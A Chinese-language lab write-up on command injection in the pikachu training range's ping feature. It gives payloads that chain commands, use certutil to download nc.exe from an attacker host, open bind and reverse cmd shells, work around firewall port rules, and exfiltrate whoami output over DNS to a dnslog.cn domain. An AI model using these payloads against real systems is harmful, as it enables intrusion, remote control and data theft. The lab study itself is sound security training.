靶场:pikachu
漏洞:ping命令漏洞

场景

有一个窗口,能实现输入一个IP地址后对其进行ping操作。
ping命令窗口

涉及知识

执行多条命令的方法

管道符:| (管道符号) ||(逻辑或) &&(逻辑与)  &(后台任务符号)
Windows有4种,Linux有6种

Windows-> | & || &&
| 执行时仅返回后面的值

Linux->; | || & && ``(特有``和;)
例子:
ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 `whoami`

漏洞利用:反弹shell

上传nc.exe到指定目录下

换个视角来说,就是对面服务器在下载文件。

# 输入下面的命令,使得其返回主机名
127.0.0.1|whoami

主机名

# Windows服务器没有nc
# 尝试利用cmd的管道漏洞让目标服务器通过cmd自动下载nc.exe

# 具体下载命令见菱角社区
# 192.168.1.101:8023 已经放置nc工具的服务器
# C:/nc.exe 在服务器挑选好位置放置nc
127.0.0.1 | certutil.exe -urlcache -split -f http://192.168.1.101:8034/nc.exe C:\\nc.exe

获取网卡IP

下载完成后,尝试获取对面的IP地址。

Windows IP ����


��̫�������� Ethernet0:

�����ض��� DNS ��׺ . . . . . . . : localdomain
�������� IPv6 ��ַ. . . . . . . . : fe80::355b:6b2:bede:3905%15
IPv4 ��ַ . . . . . . . . . . . . : 192.168.59.129
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ������. . . . . . . . . . . . . :

��̫�������� Ethernet1:

�����ض��� DNS ��׺ . . . . . . . :
�������� IPv6 ��ַ. . . . . . . . : fe80::2c3a:5d98:3e93:f708%12
IPv4 ��ַ . . . . . . . . . . . . : 192.168.1.102
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ������. . . . . . . . . . . . . : 192.168.1.1

��̫�������� Ethernet2:

�����ض��� DNS ��׺ . . . . . . . : localdomain
�������� IPv6 ��ַ. . . . . . . . : fe80::19b8:ec37:2753:f3fc%29
IPv4 ��ַ . . . . . . . . . . . . : 192.168.232.193
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ������. . . . . . . . . . . . . : 192.168.232.2

��̫�������� Npcap Loopback Adapter:

�����ض��� DNS ��׺ . . . . . . . :
�������� IPv6 ��ַ. . . . . . . . : fe80::e4e3:6d3f:5e8e:a5f2%39
�Զ����� IPv4 ��ַ . . . . . . . : 169.254.165.242
�������� . . . . . . . . . . . . : 255.255.0.0
Ĭ������. . . . . . . . . . . . . :

获得对面服务器的shell

正向连接

服务器绑定监听端口,攻击端连接到服务器ip地址获取shell

# 绑定服务器CMD到目标5566端口
127.0.0.1 | C:\\nc -e cmd -lvvp 5566

# 攻击端连接服务器
# CMD输入下面的命令
# 下面的命令IP地址是服务端的
ncat 192.168.59.129 5566

攻击端连接视角

逆向连接

服务器主动给出权限到指定的远程攻击端IP地址和端口,远程攻击端监听端口即可连接服务器shell。

# 攻击端优先打开端口监听
ncat -lvvp 5566

# 服务端主动给出shell到指定IP地址+端口
127.0.0.1|C:\\nc.exe cmd -e 192.168.1.101 5566

攻击端监听控制效果


开启防火墙(组策略)下的ping窗口

入站限制5566

说明

场景:限制入栈的5566端口(TCP)

影响:外部主机无法通过5566端口直接连接内网主机。

# 说白了,攻击机主动连接
ncat 192.168.59.129 5566
# 的命令无法使用了。

防火墙限制5566入站

无法直接连接的解决办法

# 解决办法其实前面提到过,把主机的权限给出去
# 主动给到远程的攻击机,限制入栈5566端口的情况就能解决了(除非出站5566端口也被封禁了……)

使服务器主动从出站5566端口给出shell,避开入栈5566端口的封禁

规避服务器入站5566的出站5566

出站5566端口限制

说明

场景:服务端入站5566端口不做限制,仅限制出站5566端口。

影响:服务端无法主动给出5566端口。

# 说白了,就是服务端5566端口给不出去了,得靠攻击机自己去找入站的5566端口进行连接。

# Windows server防火墙策略:
进入服务器的限制比较严密,出站规则比较宽松。
当出站的5566被封后,入站的5566即使没有设置也会失效。(少见)
这种情况下,仅仅允许设置的流量入站,而5566在设置出站封禁时,是没有设置入站放行的。

# 为了做正反向实验,先配置一个放行5566端口的入站规则

出站5566限制

解决办法

# 为了做正反向实验,先配置一个放行5566端口的入站规则
# 服务端绑定端口等待连接
127.0.0.1|C:\\nc.exe cmd -e -lvvp 5566
# 攻击机连接主机
ncat 192.168.59.129 5566

数据无回显->使用带外查询

执行完命令页面不回显,不确定的情况下使用带外查询。

ping命令回显禁用

数据不回显:

1、反弹shell
2、带外查询
DNSLog 可以使用Linux系统在ping状态下使用``调用命令。
针对Windows系统:命令行进入powershell框架

针对Windows服务器的带外查询

带外查询(个人理解)符合以下情况:

  • 能执行ping命令、
  • 没有封锁管道服务
  • 没有明显的数据回显

带外查询的办法:前往 DNSLog网站进行查询。

# 此场基于皮卡皮卡靶场的ping命令部分
# 具体查询步骤:
# 1.使用DNSlog生成一个域名
点击get subdomain获取一个域名
# 2.使用靶场的ping命令ping这个域名时,主机的ping信息会被DNSlog记录
这里加上管道,结合ping命令和powershell进行查询.
如下:
ping 127.0.0.1|powershell $x=whoami;$x.replace('\','xxx');$y='.kayk1b.dnslog.cn';$z=$x+$y;ping $z
稍微解读下:
ping 127.0.0.1| => ping命令和“或”管道符
powershell => 调用Windows的powershell
$x=whoami;$x.replace('\','xxx');
=> 调用whoami查询本机用户主体,并且替换掉查询出来的“\”
$y='.kayk1b.dnslog.cn';$z=$x+$y;ping $z
=> 获取dnslog的域名,并且将域名和$x的信息合并

最后,在DNSlog.cn上点击Refresh Record刷新,就能查到你所需要的账户主体的名称

Windows的带外查询需要调用到Windows的powershell来查找主机的主体再拼接成ping命令,Linux能直接在ping命令上执行并且拼接字符串来返回信息,比Windows方便多了。

针对Linux服务器的带外查询

Linux就简单多了,只需获取带外查询的域名,使用如下的ping命令,再在DNSLOG那点击Refresh Record刷新就可以看到了。

# 环境仍然是基于皮卡皮卡靶场,只不过系统环境变更为Linux
`whoami`.kayk1b.dnslog.cn

协议

ping命令走的是ICMP协议,防火墙拦截的是TCP和UDP协议